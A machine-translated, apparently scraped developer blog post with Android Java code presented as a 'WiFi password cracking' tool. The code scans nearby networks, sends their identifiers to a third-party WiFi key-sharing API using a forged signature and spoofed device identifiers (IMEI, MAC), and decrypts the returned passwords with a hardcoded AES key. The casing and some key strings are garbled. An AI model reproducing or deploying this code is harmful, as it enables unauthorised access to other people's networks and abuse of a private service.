WiFi password cracking function (only partially encrypted mode of WiFi)

Source: Internet
Author: User
Tags bssid

650) this.width=650; "Src=" Http://s1.51cto.com/wyfs02/M01/86/FF/wKioL1fQ8bDhlxx4AAHgvgVy4f4655.png-wh_500x0-wm_3 -wmp_4-s_2720191977.png "title=" Wifi.png "alt=" Wkiol1fq8bdhlxx4aahgvgvy4f4655.png-wh_50 "/>


SSID is the WiFi name, password is wifi password, (to be able to crack the network situation)

Main code:


public class Mainactivity extends Activity

{

Context Mcontext = this;

TextView TextView;

Wifistatus Wifistatus;

Handler Mhandler;

final int update_text = 1;


@Override

protected void OnCreate (Bundle savedinstancestate)

{

Super.oncreate (savedinstancestate);

Setcontentview (R.layout.activity_main);

TextView = (TextView) Findviewbyid (r.id.content);

Wifistatus = new Wifistatus (mcontext);

Mhandler = new Handler ()

{


public void Handlemessage (Message msg) {

Switch (msg.what) {

Case Update_text:

Textview.settext (Msg.obj.toString ());

Break

}

}

};

Showwifistatus ();

}


public void Btnwifi (View v)

{

try {

Toast.maketext (mcontext, "Query ...", Toast.length_short). Show ();

New Thread (New Runnable () {

@Override

public void Run () {

try {

Message msg = new Message ();

Msg.what = Update_text;

Msg.obj = new Mkquerypwd (). GETPWD ();

Mhandler.sendmessage (msg);

} catch (Exception e) {

E.printstacktrace ();

}

}

}). Start ();

} catch (Exception e) {

E.printstacktrace ();

}


}

public void Showwifistatus () {

Wifistatus.scanwifi ();

Textview.settext ("");

}

}





public class Wifistatus {


Wifimanager Wifimanager;

Static list<scanresult> wifilist;


Public Wifistatus (Context mcontext) {

Wifimanager = (Wifimanager) mcontext.getsystemservice (Context.wifi_service);

if (!wifimanager.iswifienabled ()) {

Wifimanager.setwifienabled (TRUE);

Toast.maketext (Mcontext, "WiFi boot ...", toast.length_short). Show ();

}

}


public void Scanwifi () {

Wifimanager.startscan ();

Wifilist = Wifimanager.getscanresults ();

}

}


public class Mkquerypwd {


Public String getpwd () throws exception{

String Salt = "[Email Protected]*jq%kol";

map<string, string> map = new treemap<> ();

Map.put ("och", "Wandoujia");

Map.put ("II", "");

Map.put ("AppID", "0001");

Map.put ("pid", "Qryapwd:commonswitch");

Map.put ("Lang", "cn");

Map.put ("V", "58");

Map.put ("Uhid", "a0000000000000000000000000000001");

Map.put ("Method", "Getdeepsecchkswitch");

Map.put ("St", "M");

Map.put ("Chanid", "Guanwang");

Map.put ("sign", "");

Map.put ("Bssid", "" ");

Map.put ("SSID", "");

Map.put ("Dhid", This.getdhid ());

Map.put ("Mac", "d8:86:e6:6f:a8:7c");

StringBuilder bssid = new StringBuilder ();

StringBuilder SSID = new StringBuilder ();

for (Scanresult i:wifistatus.wifilist) {

Bssid.append (I.BSSID). Append (",");

Ssid.append (I.SSID). Append (",");

}

Map.put ("Bssid", bssid.tostring ());

Map.put ("SSID", ssid.tostring ());

Map.put ("Sign", getsign (map, salt));


String response = sendrequest (map);

Jsonobject jsonobject = new Jsonobject (response);

Jsonobject PSWs = Jsonobject.getjsonobject ("Qryapwd"). Getjsonobject ("PSWs");

iterator<string> Iterator = Psws.keys ();

StringBuilder result = new StringBuilder ();

while (Iterator.hasnext ()) {

String item = Iterator.next ();

String encryptpwd = Psws.getjsonobject (item). getString ("pwd");

String decryptpwd = Decrypt (ENCRYPTPWD);

int pwdlength = integer.parseint (decryptpwd.substring (0, 3));

String pwd = decryptpwd.substring (3, Decryptpwd.length ()-1). substring (0, pwdlength);

String name = Psws.getjsonobject (item). getString ("SSID");

Result.append ("BSSID:"). Append (item). Append ("\nssid:"). Append (name). Append ("\ n Password:"). Append (pwd). Append ("\ n") ;

}

if (Textutils.isempty (result.tostring ())) {

Return "No password found ˉ\\_ (mitsujo) _/ˉ";

}

return result.tostring ();

}


Public String Getdhid () throws Exception {

String Salt = "[Email Protected]*jq%kol";

map<string, string> map = new treemap<> ();

Map.put ("Capbssid", "d8:86:e6:6f:a8:7c");

Map.put ("Model", "nexus+4");

Map.put ("och", "Wandoujia");

Map.put ("AppID", "0001");

Map.put ("Mac", "d8:86:e6:6f:a8:7c");

Map.put ("Wkver", "2.9.38");

Map.put ("Lang", "cn");

Map.put ("Capbssid", "Test");

Map.put ("Uhid", "" ");

Map.put ("St", "M");

Map.put ("Chanid", "Guanwang");

Map.put ("Dhid", "" ");

Map.put ("OS", "Android");

Map.put ("SCRs", "768");

Map.put ("Imei", "355136052333516");

Map.put ("Manuf", "LGE");

Map.put ("Osvercd", "19");

Map.put ("II", "355136052391516");

Map.put ("Osver", "5.0.2");

Map.put ("pid", "Initdev:commonswitch");

Map.put ("Misc", "Google/occam/mako:4.4.4/ktu84p/1227136:user/release-keys");

Map.put ("sign", "");

Map.put ("V", "58");

Map.put ("Sim", "");

Map.put ("Method", "Gettouristswitch");

Map.put ("Scrl", "1184");

Map.put ("Sign", getsign (map, salt));


String Dhid;

String response = sendrequest (map);

Jsonobject jsonobject = new Jsonobject (response);

Dhid = Jsonobject.getjsonobject ("Initdev"). GetString ("Dhid");

return dhid;

}


Public String getsign (map map, String salt) throws Exception {

String value = "";

For (Object O:map.entryset ()) {

map.entry<string, string> Entry = (map.entry) o;

Value + = Entry.getvalue ();

}

Value + = salt;

MessageDigest messagedigest = messagedigest.getinstance ("MD5");

Byte[] Digest = messagedigest.digest (Value.getbytes ("UTF-8"));

BigInteger number = new BigInteger (1, Digest);

String MD5 = number.tostring (16);

while (Md5.length () < 32) {

MD5 = "0" + MD5;

}

return Md5.touppercase ();

}


Public String Getrequestdata (Map params) throws Exception {

StringBuilder StringBuilder = new StringBuilder ();

For (Object O:params.entryset ()) {

map.entry<string, string> Entry = (map.entry) o;

Stringbuilder.append (Entry.getkey ()). Append ("="). Append (Urlencoder.encode (Entry.getvalue (), "UTF-8"). Append (" & ");

}

Stringbuilder.deletecharat (Stringbuilder.length ()-1);

return stringbuilder.tostring ();

}


Public String SendRequest (Map params) throws exception{

URL url = new URL ("Http://wifiapi02.51y5.net/wifiapi/fa.cmd");

HttpURLConnection httpurlconnection = (httpurlconnection) url.openconnection ();

Httpurlconnection.setdoinput (TRUE);

Httpurlconnection.setdooutput (TRUE);

Httpurlconnection.setrequestmethod ("POST");

Httpurlconnection.setusecaches (FALSE);

Httpurlconnection.setinstancefollowredirects (TRUE);

Httpurlconnection.setrequestproperty ("Content-type", "application/x-www-form-urlencoded");

Httpurlconnection.setrequestproperty ("Host", "wifiapi02.51y5.net");

Httpurlconnection.setrequestproperty ("Accept", "Text/plain");

Httpurlconnection.connect ();


BufferedWriter bufferedwriter = new BufferedWriter (New OutputStreamWriter (Httpurlconnection.getoutputstream ()));

Bufferedwriter.write (Getrequestdata (params));

Bufferedwriter.flush ();

Bufferedwriter.close ();


BufferedReader BufferedReader = new BufferedReader (New InputStreamReader (Httpurlconnection.getinputstream ()));

StringBuilder response = new StringBuilder ();

String Line;

while (line = Bufferedreader.readline ())!=null) {

Response.append (line) append ("\ n");

}

Bufferedreader.close ();

Httpurlconnection.disconnect ();

return response.tostring ();

}


public string Decrypt (string encryptpwd) throws exception{

String key = "[email protected] ' ~78vlsvpos";

String IV = "J#[email PROTECTED]!3JNV";

Secretkeyspec Secretkey = new Secretkeyspec (Key.getbytes (), "AES");

Ivparameterspec Ivparameterspec = new Ivparameterspec (Iv.getbytes ());

Cipher Cipher = cipher.getinstance ("aes/cbc/nopadding");

Cipher.init (Cipher.decrypt_mode, Secretkey, Ivparameterspec);

return new String (Cipher.dofinal (Hex2byte (ENCRYPTPWD)));

}


Public byte[] Hex2byte (String hex) {

byte[] Output = new Byte[hex.length ()/2];

for (int i = 0,j = 0; i < hex.length (); i + = 2, j + +)

{

String str = hex.substring (i, i + 2);

OUTPUT[J] = (byte) integer.parseint (str, 16);

}

return output;

}


}


WiFi password cracking function (only partially encrypted mode of WiFi)

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.